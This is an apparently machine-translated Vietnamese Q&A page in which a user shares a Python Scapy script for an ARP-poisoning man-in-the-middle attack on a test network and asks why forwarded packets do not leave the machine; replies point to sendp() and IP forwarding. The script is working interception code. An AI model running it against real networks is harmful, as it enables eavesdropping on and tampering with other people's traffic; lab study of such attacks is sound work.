2012-09-30 37 views
11

Tôi đang cố gắng để làm một người đàn ông trong cuộc tấn công giữa với scapy trên một mạng thử nghiệm. Thiết lập của tôi là như thế này: enter image description hereNgười đàn ông trong cuộc tấn công giữa với scapy

Bây giờ bạn có được ý tưởng, đây là các mã:

from scapy.all import * 
import multiprocessing 
import time 
class MITM: 
    packets=[] 
    def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")): 
    self.victim=victim 
    self.node2=node2 
    multiprocessing.Process(target=self.arp_poison).start() 
    try: 
     sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x)) 
    except KeyboardInterrupt as e: 
     wireshark(packets) 
    #self.arp_poison() 
    def routep(self,packet): 
    if packet.haslayer(IP): 
     packet.show() 
     if packet[IP].dst==self.victim[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.victim[1] 
     elif packet[IP].dst==self.node2[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.node2[1] 
     self.packets.append(packet) 
     packet.display() 
     send(packet) 
     print len(self.packets) 
     if len(self.packets)==10: 
     wireshark(self.packets) 
    def arp_poison(self): 
    a=ARP() 
    a.psrc=self.victim[0] 
    a.pdst=self.node2[0] 
    b=ARP() 
    b.psrc=self.node2[0] 
    b.pdst=self.victim[0] 
    cond=True 
    while cond: 
     send(b) 
     send(a) 
     time.sleep(5) 
     #cond=False 
if __name__=="__main__": 
    mitm=MITM() 

Mã này đang chạy trên VM2.

Việc đầu độc Arp hoạt động tốt, tôi kiểm tra bộ đệm ẩn của cả hai máy và hành vi như tôi mong đợi. Nhưng bên trong routep, tôi thay đổi src và dst mac địa chỉ và cố gắng gửi các gói tin nhận được đến máy chủ thích hợp, scapy đưa ra một cảnh báo:

WARNING: more Mac address to reach destination not found. Using broadcast 

Và tôi nhìn thấy trong wireshark trên VM2, các gói sửa đổi không được rời khỏi máy. Tại sao điều đó lại xảy ra? Tui bỏ lỡ điều gì vậy?

+1

Tôi nghĩ bạn đang làm phức tạp hơn. Bạn chỉ cần gửi các phản hồi arp giả mạo cho mạng con và bật chuyển tiếp ip trên máy của bạn. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC

+0

Có thể là bạn phải nói rõ ràng về scapy mà bạn muốn gửi và nhận khung bao gồm cả lớp MAC? –

Trả lời

1

Nếu bạn sử dụng scapy's send(), nó hoạt động trên lớp thứ ba. Từ tài liệu của scapy:

Hàm send() sẽ gửi gói ở lớp 3. Điều đó có nghĩa là nó sẽ xử lý định tuyến và lớp 2 cho bạn. Hàm sendp() sẽ hoạt động ở lớp 2.

Nếu bạn sử dụng sendp(), nó sẽ không sử dụng giá trị mặc định cho địa chỉ MAC đích và cảnh báo của bạn sẽ biến mất.

Các vấn đề liên quan